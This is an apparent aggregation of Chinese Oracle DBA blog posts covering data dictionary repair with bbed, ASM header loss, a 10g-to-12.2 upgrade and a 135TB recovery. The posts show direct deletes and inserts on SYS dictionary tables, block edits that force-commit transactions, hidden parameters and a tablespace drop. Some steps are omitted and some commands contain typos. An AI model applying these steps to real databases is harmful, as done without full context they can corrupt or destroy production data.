    144219
    144220
    144221
    144222
    144223
    144224
    144225
    144226
    144227
    144228
    144229

13 rows selected.

++++index

select /*+index(cdef$ I_CDEF1) */ con# from cdef$ order by 1;

      CON#
----------
    144171
    144192
    144193
    144216
    144217
    144218
    144219
    144220
    144221
    144222
    144223
    144224
    144225
    144226
    144227
    144228
    144229



+++table 
select /*+full(cdef$) */ con# from cdef$ order by 1;

      CON#
----------
    144086
    144087
    144088
    144089
    144090
    144091
    144092
    144093
    144094
    144095
    144096
    144171
    144192
    144193


+++con$   index

select /*+INDEX(con$ I_CON2) */ con# from con$ order by 1 ;

      CON#
----------
    144171
    144192
    144193
    144216

file 67 block 69150


+++con$  table
select /*+full(con$) */ con# from con$ order by 1 ;

      CON#
----------
    144171
    144192
    144193
    144216
    .....
    144228

con$的记录均包含了cdef$。因此这里我们不需要太关注cdef$。

首先我们来说con$:

由于其i_con2这个唯一索引中最大值是144216,因此我们需要将表中con# >144216 的记录全部标记为删除;

其次对于cdef$:

由于cdef$中con# 最大记录是144193,因此需要将其索引I_CDEF1中的con# > 144193的键值全部标记为删除。

这里我们通过bbed 修复了上述对应的一些data block和Index Block,但是创建table 时发现还是hang住。难道哪个地方没有修改对吗?

由于我的测试环境的情况是需要_next_constraint 能够正常工作,按理说都是ok的。那么问题出现在什么的地方呢?

这里我们先尝试来查看一条正常的记录,例如con#=144193:

SQL> select /*+full(con$) */ rowid,dbms_rowid.rowid_relative_fno(rowid) file_id,
  2  dbms_rowid.rowid_block_number(rowid) block_id
  3          from con$  where con#=144193
  4  /

ROWID                 FILE_ID   BLOCK_ID
------------------ ---------- ----------
AAAAAcAABAAAc+PABI          1     118671

SQL> select rowid,
  2          dbms_rowid.rowid_object(rowid) object_id,
  3          dbms_rowid.rowid_relative_fno(rowid) file_id,
  4          dbms_rowid.rowid_block_number(rowid) block_id,
  5          dbms_rowid.rowid_row_number(rowid) num
  6  from con$  where con#=144193;

ROWID               OBJECT_ID    FILE_ID   BLOCK_ID        NUM
------------------ ---------- ---------- ---------- ----------
AAAAAcAABAAAc+PABI         28          1     118671         72

大家可以看到,dba地址和行号都应该是对应起来的(这里我没有显示行号).

我们再来看看异常的这条数据:

SQL> select rowid,
  2          dbms_rowid.rowid_object(rowid) object_id,
  3          dbms_rowid.rowid_relative_fno(rowid) file_id,
  4          dbms_rowid.rowid_block_number(rowid) block_id,
  5          dbms_rowid.rowid_row_number(rowid) num
  6  from con$  where con#=144216;

ROWID               OBJECT_ID    FILE_ID   BLOCK_ID        NUM
------------------ ---------- ---------- ---------- ----------
AAAAAcAABAAAc+PAAS         28          1     118671         18


SQL> select /*+full(con$) */ rowid,dbms_rowid.rowid_relative_fno(rowid) file_id,
  2  dbms_rowid.rowid_block_number(rowid) block_id
  3          from con$  where con#=144216
  4  /

ROWID                 FILE_ID   BLOCK_ID
------------------ ---------- ----------
AAAAAcAABAAAAEhAAM          1        289

 

很明显,rdba地址都不匹配呀(注意:前面基于rowid的查询,不加hint的情况下,走的是Index 扫描)。以为这里将rdba修改为file 1 block 289 就ok了,发现还是不行。为什么呢? 这里给自己挖了一个坑。后面再次查询发现行号其实也不匹配,正常应该对应第12行,实际这里错误的对应到18行了。如下是该数据块的dump情况:

—file 1 block 289  dump

tl: 29 fb: --H-FL-- lb: 0x0  cc: 4
col  0: [ 1]  80
col  1: [16]  5f 4e 45 58 54 5f 43 4f 4e 53 54 52 41 49 4e 54
col  2: [ 4]  c3 0f 2b 11
col  3: [ 1]  80
tab 0, row 13, @0x1e92

www.killdb.com@select dump(144216,16) from dual;

Typ=2 Len=4: c3,f,2b,11

www.killdb.com@
www.killdb.com@select  dump('_NEXT_CONSTRAINT',16) from dual;

Typ=96 Len=16: 5f,4e,45,58,54,5f,43,4f,4e,53,54,52,41,49,4e,54

看来这确实是我们需要的这条数据,非常珍贵的一条数据呀。当最后将index block中的行号也修改为一致时,再次测试发现就ok了。不过我这里还是直接将该条记录delete条了,然后插入一条新的记录(有些人会说,这里如果不修改能否delete呢?其实不行的,delete会报错):

SQL> delete from con$ where con#=144216;

1 row deleted.

SQL> commit;

Commit complete.

SQL> insert into con$ values(0,'_NEXT_CONSTRAINT',144236,0,'','','','','');

1 row created.

SQL> commit;

Commit complete.

SQL> select /*+INDEX(con$ I_CON2) */rowid,
  2          dbms_rowid.rowid_object(rowid) object_id,
  3          dbms_rowid.rowid_relative_fno(rowid) file_id,
  4          dbms_rowid.rowid_block_number(rowid) block_id,
  5          dbms_rowid.rowid_row_number(rowid) num_5
  6  from con$  where con#=144236;


ROWID               OBJECT_ID    FILE_ID   BLOCK_ID      NUM_5
------------------ ---------- ---------- ---------- ----------
AAAAAcAABAAAc+PAAS         28          1     118671         18

SQL> SQL> 
SQL> select /*+full(con$) */ rowid,
  2          dbms_rowid.rowid_object(rowid) object_id,
  3          dbms_rowid.rowid_relative_fno(rowid) file_id,
  4          dbms_rowid.rowid_block_number(rowid) block_id,
  5          dbms_rowid.rowid_row_number(rowid) num_5
  6          from con$  where con#=144236;

ROWID               OBJECT_ID    FILE_ID   BLOCK_ID      NUM_5
------------------ ---------- ---------- ---------- ----------
AAAAAcAABAAAc+PAAS         28          1     118671         18

SQL> conn test/test
Connected.
SQL> create table tt_con(id number not null);

Table created.

整个恢复过程其实要比这个复杂一些,省略了一些步骤,不过基本上差不了太多。大家将就看喏~~

 

ASM 磁盘分区信息丢失的恢复案例

$
0
0

本站文章除注明转载外,均为本站原创: 转载自love wife & love life —Roger的Oracle&MySQL技术博客

本文链接地址: ASM 磁盘分区信息丢失的恢复案例

前不久某客户的一套3节点rac,由于asm disk分区信息丢失导致无法mount。该环境使用了asmlib,再次证明asmlib是个坑呀。

首先我们来看看kfed读取的结果:

我们可以看到,坏头的信息被清空了。

同时我们将该磁盘的前面10M数据dd备份出来,通过UE进行查看发现前面的32k左右的数据被清空了,如下:

至于为什么数据会被清空,这里还不太清楚。从这里可以看出偏移量在32556,跳过这部分数据然后dd即可进行复制恢复处理,我们这里利用了ODU完成整个数据恢复。

不过比较奇怪的是,CRS磁盘组也损坏掉了,采用类似的方法进行处理发现并不奏效,确实有点怪异。当时没有详细采集信息,所以现在也不太方面继续深入分析了。

不管如何,我们不建议使用ASMLIB,推荐使用udev,实际上Oracle从6.x版本就开始推荐使用udev了。

相对来讲并不是一个复杂的恢复case,跟大家简单分享一下!

10g升级到12.2 遇到的几个问题

$
0
0

本站文章除注明转载外,均为本站原创: 转载自love wife & love life —Roger的Oracle&MySQL技术博客

本文链接地址: 10g升级到12.2 遇到的几个问题

18年春节加班期间,将某客户的核心数据库从Oracle 10.2.0.4 RAC迁移升级至12.2 RAC. 原库是使用的Raw,而且版本较低,无法直接升级到12.2版本,因此整个升级过程相对麻烦。

我们的大致思路是:

1、搭建10g DataGuard到新环境;

2、在新环境同时部署好10g、11.2、12.2 的Database软件(其中10g,11.2 均为单机,12.2为已经安装好的Oracle RAC环境)

3、首先通过DataGuard switchover切换到备库(新环境)

4、新主库跑升级脚本到11.2(跑升级脚本之前创建还原点)

5、第一次跑升级脚本成功之后,再升级到12.2(跑之前要删除之前的还原点,创建新的还原点)

6、数据库升级到12.2之后,需要将DB从NO-CDB模式转换成CDB模式,将数据库作为PDB插入到12.2 RAC集群中。

7、创建Redo、Undo以及修改相应参数,将数据库转成Rac实例。

在整个升级过程中,我们遇到了几个小问题,分别如下:

1) DataGuard的文件convert参数没有加入tempfile,导致dg切换之后,主库open有问题,需要先drop tempfile 之后才行。

2)在升级到12.2的过程中,遇到ORA-01722错误,如下所示:

根据Oracle Mos文档Upgrade to 12.2 Fails with Error:”ORA-01722: Invalid number : NONUPGRADED_TABLEDATA” (文档 ID 2279497.1) 的描述,可以通过如下的方式来解决:

set serveroutput on
@?/rdbms/admin/catuptabdata.sql
@?/rdbms/admin/utluptabdata.sql

execute dbms_preup.run_fixup_and_report('INVALID_SYS_TABLEDATA');
execute dbms_preup.run_fixup_and_report('INVALID_USR_TABLEDATA');
set serveroutput off

 

3) 将数据库作为PDB插入到CDB之后,打开pdb时提示为受限模式。

该问题经查是由于我们在执行的过程中漏掉了一个步骤(

exec dbms_pdb.sync_pdb();),导致pdb的信息与cdb的信息不一致,本质上组件信息不一致。实际上从Oracle官方的解释来看,只要pdb的组件属于cdb的子集就行,我们当时查询结果却是显示正常的,但是pdb的组件状态显示异常,因此让Oracle认为pdb的组件与cdb有巨大差异,将pdb置于受限模式(“OPTION WARNING Database option mismatch: PDB installed version NULL” in PDB_PLUG_IN_VIOLATIONS (文档 ID 2020172.1).该文档中有详细的描述,认为这是12.2的一个加强。

Some warnings in PDB_PLUG_IN_VIOLATIONS prevent you from actually opening the PDB in READ WRITE mode; this is not one of them.  You can ignore these messages.   It is okay for a PDB to have a subset (fewer) options installed than the CDB into which it is plugged.  
 (The reverse is NOT true, however -- the CDB must always have the same or more options as its PDBs).   

Unpublished Bug 16192980 : NO SIMPLE WAY TO CLEAN ROWS FROM PDB_PLUG_IN_VIOLATIONS AFTER DBMS_PDB CALL has been filed to request a way to clear out no-impact warnings from PDB_PLUG_IN_VIOLATIONS.  This enhancement is implemented in versions > 12.2.0.1.

 

我们尝试过将组件reinstall然后再install是可以的,但是组件较多,大约8个组件,尤其是java或xdb相关组件比较麻烦,因此我们将pdb删除然后重新创建了pdb进行加载。最终解决了该问题。

总的来接,整个过程遇到了几个小问题,但是还算顺利!

其中涉及几篇文档供参考:

PDB Opens up in Restricted mode after migrating from Non-CDB To CDB environment (Doc ID 2202516.1)
PDB does not come out of Restricted Mode due to ORA-959 in PDB_PLUG_IN_VIOLATIONS (Doc ID 2167662.1)
PDB Is Always In Restricted Mode (Doc ID 1933110.1)
PDB in Restrict Mode Causes Issues (Doc ID 1949188.1)
Pluggable Databases Opened in Restricted Mode After PSU Patching (Doc ID 2225006.1)

一个135TB的Oracle DataBase恢复case

$
0
0

前几天帮助某用户进行了一次数据库恢复操作;通过检查数据库文件发现发现整个库的文件Size之和超过135TB,其中段大小超过132TB:

SQL> select sum(bytes/1024/1024/1024/1024) "TB" from dba_segments;

SUM(BYTES/1024/1024/1024/1024) "TB"
------------------------------
                    132.866246

首先我们来看看数据库的恢复情况,考虑到客户信息涉密文件,这里我仅做简单的描述:

Wed May 16 15:34:22 2018
Errors in file /oracle/admin/yddb/udump/yddb1_ora_3081048.trc:
ORA-00600: internal error code, arguments: [504], [0x70000001000AF08], [1], [0], [slave class create], [0], [0], [0x700000501CE7C08]
Wed May 16 15:34:22 2018
Errors in file /oracle/admin/xxxx/bdump/xxxx1_smon_2818542.trc:
ORA-00604: error occurred at recursive SQL level 1
ORA-01578: ORACLE data block corrupted (file # 1, block # 22479)
ORA-01110: data file 1: '+DISKGROUP1/xxxx/datafile/system.259.738348071'
Wed May 16 15:34:22 2018
Errors in file /oracle/admin/xxxx/bdump/xxxx1_smon_2818542.trc:
ORA-00604: error occurred at recursive SQL level 1
ORA-01578: ORACLE data block corrupted (file # 1, block # 22479)
ORA-01110: data file 1: '+DISKGROUP1/xxxx/datafile/system.259.738348071'
Wed May 16 15:34:23 2018
Errors in file /oracle/admin/xxxx/bdump/xxxx1_smon_2818542.trc:
ORA-00604: error occurred at recursive SQL level 1
ORA-01578: ORACLE data block corrupted (file # 1, block # 22479)
ORA-01110: data file 1: '+DISKGROUP1/xxxx/datafile/system.259.738348071'
Wed May 16 15:34:24 2018
Errors in file /oracle/admin/xxxx/udump/xxxx1_ora_3081048.trc:
ORA-00600: internal error code, arguments: [504], [0x70000001000AF08], [1], [0], [slave class create], [0], [0], [0x700000501CE7C08]
Wed May 16 15:34:24 2018
Errors in file /oracle/admin/xxxx/udump/xxxx1_ora_3081048.trc:
ORA-00600: internal error code, arguments: [4193], [64], [69], [], [], [], [], []
Wed May 16 15:34:24 2018
Trace dumping is performing id=[cdmp_20180516153424]
Wed May 16 15:34:24 2018
Errors in file /oracle/admin/xxxx/bdump/xxxx1_smon_2818542.trc:
ORA-00604: error occurred at recursive SQL level 1
ORA-01578: ORACLE data block corrupted (file # 1, block # 22479)
ORA-01110: data file 1: '+DISKGROUP1/xxxx/datafile/system.259.738348071'
Wed May 16 15:34:25 2018
Errors in file /oracle/admin/xxxx/bdump/xxxx1_smon_2818542.trc:
ORA-00604: error occurred at recursive SQL level 1
ORA-01578: ORACLE data block corrupted (file # 1, block # 22479)
ORA-01110: data file 1: '+DISKGROUP1/xxxx/datafile/system.259.738348071'
Wed May 16 15:34:25 2018
DEBUG: Replaying xcb 0x7000004fc60b848, pmd 0x700000501ce8c48 for failed op 8
Doing block recovery for file 2 block 508535
No block recovery was needed
Wed May 16 15:34:35 2018
Errors in file /oracle/admin/xxxx/bdump/xxxx1_smon_2818542.trc:
ORA-00604: error occurred at recursive SQL level 1
ORA-01578: ORACLE data block corrupted (file # 1, block # 22479)
ORA-01110: data file 1: '+DISKGROUP1/xxxx/datafile/system.259.738348071'

这里可以发现Oracle SMON进程在进行事务恢复时报错,同时alert抛出了ORA-00600 [4193]错误;而该错误则与Undo表空间存在联系。
由此可见Undo表空间也存在异常。对于system数据字典的file #1 block 22479号block。这里我们首先将其从ASM磁盘组copy到文件系统,然后通过提前编译好的Oracle内置block edit tools进行修改,将该block中涉及到的未提交事务强制进行提交;通过人为沟通已提交事务的方式,来绕过Oracle对该Block涉及的事务进行回滚(该数据块涉及的对象为obj#=8,是一个Cluster block,修改相对复杂一些)。

修改完该block之后,再将该block copy到asm中,再次启动数据库,发现能够顺利open数据库。

其次由于undo表空间也存在异常,因此这里需要将undo表空间进行重建,如下是重建的步骤:

1) 创建新的undo表空间
 
   create undo tablespace undotbs11 datafile '+DISKGROUP1' size 4096m;
   
2) 修改参数

   alter systen set undo_tablespace=undotbs11 scope=spfile sid='xxxx1';
   
3) 删除损坏的undo表空间

   drop tablespace  undotbs1 including contents and datafiles;

重建完undo之后,接下来就是处理坏块相关内容,300多个坏块这里分别进行了排查,基本上集中在某一天的数据上,其中还有个别是Index。处理相对简单一些,这里不再重复!

整个恢复Case并不复杂,这里不再重复,相关ORA-00600错误的处理方法在blog中均可搜索到。


这周遇到的2个问题

$
0
0

昨天在青海某客户计费数据库反应入库很慢,通过查询发现所有的program都在等待reliable message。 对于该等待事件几年前遇到过。通过如下脚本很容易判断产生该等待事件的channel是什么:

SELECT c.usernane,
       c.sid,
       c.program,
       c.sql_id,
       b.addr "Channel context",
       b.totpub_ksrcctx,
       a.name_ksrcdes
  FROM X$KSRCDES a, X$KSRCCTX b, v$session c
 WHERE b.name_ksrcctx = a.indx
   AND b.addr = c.p1raw
   and c.event='reliable message'

通过查询发现均为Result Cache:channel ;由此可见跟11gR2引入的Result cache新特性有关;但是询问客户之后,发现业务sql并没有使用/*+result_cache */之类的hint。

那么为什么会产生这个问题呢? 通过模糊查询v$sqlarea/v$session发现 oracle在对table进行统计信息动态采样;而动态采样的sql语句中使用来诸如result_cache(snapshot=360)之类的hint。经查发现这是12c针对动态采样的增强,通过调整如下的几个参数可以屏蔽该问题:

alter system set "_optimizer_dsdir_usage_control"=0	  	  sid ='*' scope=both;     
alter system set "_sql_plan_directive_mgmt_control"=0	  sid ='*' scope=both; 
alter system set "_optimizer_ads_use_result_cache" = FALSE  sid ='*' scope=both;

今天另外一个客户也遇到一个奇怪的问题,insert 语句报错ORA-00600: internal error code, arguments: [ktbdchk1: bad dscn]。

这个问题我还是第一次遇见,从mos文档来看该问题应该是bug,如下:Bug 22241601 – ORA-600 [kdsgrp1] ORA-1555 / ORA-600 [ktbdchk1: bad dscn] due to Invalid Commit SCN in INDEX block (Doc ID 22241601.8)

解决方案是通过重建index或者设置_ktb_debug_flags参数,不过该参数的设置并不会对已经损坏对block起任何作用,仍然建议设置该参数或者打相应打patch。

如下是trace文件的过滤内容:

rishinasahis-MacBook-Pro:Desktop Roger$ cat ora333a3_ora_20280_i410029.trc |grep 'seg/obj'
 seg/obj: 0x143e2  csc: 0x05.6aa2b48b  itc: 120  flg: E  typ: 2 - INDEX
 seg/obj: 0x143e1  csc: 0x05.82491401  itc: 92  flg: E  typ: 2 - INDEX
 seg/obj: 0x143e2  csc: 0x05.425f5889  itc: 1  flg: E  typ: 2 - INDEX
 seg/obj: 0x143e2  csc: 0x05.8478edd7  itc: 1  flg: E  typ: 2 - INDEX
 seg/obj: 0x143e2  csc: 0x05.84638453  itc: 1  flg: E  typ: 2 - INDEX
 seg/obj: 0x143e2  csc: 0x05.84638453  itc: 1  flg: E  typ: 2 - INDEX
 seg/obj: 0x143e2  csc: 0x05.83fbc1b0  itc: 1  flg: E  typ: 2 - INDEX
 seg/obj: 0x143e2  csc: 0x05.83fbc1b0  itc: 121  flg: E  typ: 2 - INDEX
 seg/obj: 0x143e2  csc: 0x05.844ed914  itc: 120  flg: E  typ: 2 - INDEX
 seg/obj: 0x143e2  csc: 0x05.6aa2b48b  itc: 120  flg: E  typ: 2 - INDEX
 seg/obj: 0x143e2  csc: 0x05.6aa2b48b  itc: 120  flg: E  typ: 2 - INDEX
 seg/obj: 0x143e2  csc: 0x05.6aa2b48b  itc: 120  flg: E  typ: 2 - INDEX

 

Viewing all 49 articles
Browse latest View live